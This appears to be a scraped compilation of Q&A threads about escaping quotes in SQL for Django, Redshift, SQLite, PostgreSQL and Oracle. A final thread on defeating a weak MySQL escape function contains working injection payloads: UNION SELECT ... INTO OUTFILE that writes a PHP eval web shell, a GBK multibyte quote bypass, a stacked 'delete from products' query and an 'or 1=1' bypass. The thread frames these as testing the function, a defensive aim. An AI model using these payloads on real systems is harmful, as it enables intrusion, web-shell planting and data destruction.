escape quote in django extra clause - sql

In Django, the following statement
entity_name = "a string with a ' quote"
Fiche.objects.extra(where=["'%s' LIKE fiche_name+'%s' " % (entity_name,'%%')])
causes the Database error:
DatabaseError: ('42000', '[42000] [FreeTDS][SQL Server]Statement(s) could not be prepared. (8180) (SQLExecDirectW)')
If I print the sql that is sent to db backend, I see something like this:
... 'a string with a ' quote' LIKE fiche_name+'%%'
so I tried to escape the quote in my string with a backslash
entity_name = "a string with a \\\' quote"
This time, the query seems to be well prepared for the DB backend (quote escaped):
... 'a string with a \' quote' LIKE fiche_name+'%%'
but this results in the same database error.
Does someone know how to escape properly the quote?
EDIT: I found a solution to my problem: I replace in my string each quote by two quotes and it works now:
entity_name = entity_name.replace("'","''")

Way too late, but the right way to do this is to pass the variables as arguments to .extra():
entity_name = "a string with a ' quote"
Fiche.objects.extra(where=["%s LIKE fiche_name + '%%'")], params=[entity_name])
Note: what you are doing is the opposite of what is normally done (field LIKE 'pattern%'), but it's possible nonetheless. Also note that this is database-specific code, not all databases use + as string concatenator (you may have to switch it to || or CONCAT()).

Related

replace backslash in redshift

I am working with a string column in redshift database where the instance of \" occurs multiple times in the same value.
I want to replace every occurrence of \" with "
For example, if a string = \"name\"
I want the output to be string = "name"
From what I have found, redshift does not allow the existence of a single backslash, and automatically converts it to a double backslash, but that is not happening in this case.
I have tried to use the REPLACE() with REPLACE( string, '\"', '"' ) but it did not have any effect. Can the string being a JSON string have any bearing on the function of REPLACE()?
I have been trying to use regexp_replace but maybe I am not using the right regular expression, hence I am not able to solve the problem.
REPLACE( string, '\\"', '"' ) seems works in this situation. I am guessing its because redshift doesn't allow a single backslash, but converts them to double backslash.
So, even though the string looked like \"name\" it was probably stored as \\"name\\" and hence putting a single backslash in the replace was not working.
EDIT: please read Bill's explanation in the comment below this reply

What is the difference between\"%s\" and "%s" in SQL code

I've been trying to figure out the difference in usage of the " \ " characters in SQL.
For example a supplied line of code goes:
... WHERE username=\"%s\" AND id=%s"
What would adding the " \ " character imply?
Assuming this is C code like...
char sql[] = "SELECT * FROM foo WHERE username=\"%s\" AND id=%s";
It is simply escaping the " character so it does not end the string. The resulting SQL is...
SELECT * FROM foo WHERE username="%s" AND id=%s
Aside from the obvious problem of using string concatenation there is an additional vulnerability.
String literals use '. Using " indicates a an identifier like a table or column name. If no such identifier exists, SQLite will assume it is a string literal. An attacker could take advantage of this by supplying a value which matches an identifier.
SQLite provides this ambiguity in both directions.
If a keyword in single quotes (ex: 'key' or 'glob') is used in a context where an identifier is allowed but where a string literal is not allowed, then the token is understood to be an identifier instead of a string literal.
If a keyword in double quotes (ex: "key" or "glob") is used in a context where it cannot be resolved to an identifier but where a string literal is allowed, then the token is understood to be a string literal instead of an identifier.

Postgres syntax error when using 'like' in single quote

I am getting a syntax error in a PostgreSQL query. I am working on a project developed in YII1, I am getting an error
CDbCommand failed to execute the SQL statement: SQLSTATE[42601]:
Syntax error: 7 ERROR: syntax error at or near "s" LINE 1: ...OT NULL
AND sub_heading like '%Women and Children's Voices%'.
As you can see above, I am using the like operator in single quotes, and in the string there is another single quote (Children's). So PostgreSQL is throwing me an error. Please provide me a solution to escape the string.
You can escape a single quote in a string by using another single quote (i.e., '' instead of '. Note that these are two ' characters, not a single " character):
sub_heading LIKE '%Women and Children''s Voices%'
-- Here -----------------------------^
You should use the format function to construct the SQL statement, using the %L placeholder for the pattern.
I solved this problem by replacing the single quote with double quotes using PHP. Here is the code
There is a variable $var with value Women and Children's Voices. I replace that single quote using the str_replace() function.
$var = str_replace("'", "''", $var);

How to escape value in parameter passed to Oracle SQL script

I have an sql script which is executed using sql plus. It reads input parameters and the beginning looks like this:
SET DEFINE ON
DEFINE PARAM1 = '&1'
DEFINE PARAM2 = '&2'
DECLARE
...
Now I would like to use this script with the parameters, but I need to use some special characters, particularly '
##./update.sql 'value of first param' 'Doesn't work'
^
--------------------------------------------| Here's the problem
commit;
When I do the usual way of concatenation strings like this:
'Doesn'||chr(39)||'t work'
only Doesn appear in the PARAM2. Is there some way to escape the character in a way that the sqlplus will read it as a single string?
You need to use escape characters to achieve this.
{} Use braces to escape a string of characters or symbols. Everything within a set of braces in considered part of the escape sequence. When you use braces to escape a single character, the escaped character becomes a separate token in the query.
\ Use the backslash character to escape a single character or symbol. Only the character immediately following the backslash is escaped.
Some examples on single character escape
SELECT 'Frank''s site' AS text FROM DUAL;
TEXT
--------------------
Franks's site
Read more here
For escaping & in SQL*Plus
SET ESCAPE '\'
SELECT '\&abc' FROM dual;
OR
SET SCAN OFF
SELECT '&ABC' x FROM dual;
Escaping wild card
SELECT name FROM emp
WHERE id LIKE '%/_%' ESCAPE '/';
SELECT name FROM emp
WHERE id LIKE '%\%%' ESCAPE '\';
From a shell you should call the script like that:
sqlplus user#db/passwd #update 'value of first param' "Doesn't work"
(the word #update refer to your script which is named update.sql)
Then you have to use literal quoting in your script:
DEFINE PARAM2 = q'[&2]';
Documentation for literals can be found here.

Found a weak escape function for MySql, how to exploit?

In an application I'm working on I've found a weak escape function to prevent injection. I'm trying to prove this, but I'm having trouble coming up with a simple example.
The escape function works as follows (PHP example).
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
I realize this doesn't deal with values encoded using double quotes ("), but all queries are constructed using single quotes (').
Who can defeat this escape function?
Requirements:
String in queries are always enclosed in quotes.
Double-quotes are never used.
MySQL connection is set to UTF8.
Simple examples:
$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
If you are just replacing ' with '' then you could exploit this by injecting a \' which will turn into a \'' and this will allow you to break out because this gives you a "character literal" single-quote and a real single-quote. However, the replacement of "\\" with "\\\\" negates this attack. The double-single-quote is used to "escape" single quotes for MS-SQL, but this isn't proper for MySQL, but it can work.
The following codes proves that this escape function is safe for all except three conditions. This code permutes though all possible variations of control charters, and testing each one to make sure an error doesn't occur with a single quote encased select statement. This code was tested on MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Vulnerable Condition 1: no quote marks used.
mysql_query("select username from users where id=".escape($_GET['id']));
Exploit:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Vulnerable Condition 2: double quote marks used
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Exploit:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Vulnerable Condition 2: single quotes are used, however an alternative character set is used..
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Exploit:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
The conclusion is to always use mysql_real_escape_string() as the escape routine for MySQL. Parameterized query libraries like pdo and adodb always use mysql_real_escape_string() when connected to a mysql database. addslashes() is FAR BETTER of an escape routine because it takes care of vulnerable condition 2. It should be noted that not even mysql_real_escape_string() will stop condition 1, however a parameterized query library will.
Indeed, in addition you could try something with UNION SELECT
shop.php?productid=322
=>
shop.php?productid=322 UNION SELECT 1,2,3 FROM users WHERE 1;--
To display information from other tables.
Of course you would have to change the table name and the numbers inside the UNION SELECT to match the amount of columns you have. This is a popular way of extracting data like admin user names and passwords.
The escape function doesn't handle multibyte characters. Check http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string to see how to exploit this escape function.
Have fun hacking your database!
How about when dealing with numbers?
shop.php?productid=322
becomes
SELECT * FROM [Products] WHERE productid=322
shop.php?productid=322; delete from products;--
becomes
SELECT * FROM [Products] WHERE productid=322; delete from products;--
(Not all queries are built with single quotes and strings)
Since you are using UTF-8 as the encoding, this could be vulnerable to an overlong UTF-8 sequence. An apostrophe character ('), while normally encoded as 0x27, could be encoded as the overlong sequence 0xc0 0xa7 (URL-encoded: %c0%a7). The escape function would miss this, but MySQL may interpret it in a way that causes a SQL injection.
As others have mentioned, you really need to be using mysql_real_escape_string at minimum (easy fix in your case), which should be handling character encoding and other issues for you. Preferably, switch to using prepared statements.
I've never used PHP, however, can you not use Stored Procedure calls instead of direct SQL statements? It seems like a better defense against SQL injection than trying to use an escape function.
An escape function, however, would be useful against malicious javascript.
how about...
\' or 1=1--
Which should be expanded to:
\'' or 1=1--
So using it for id in the following query...
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
should result in:
$sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';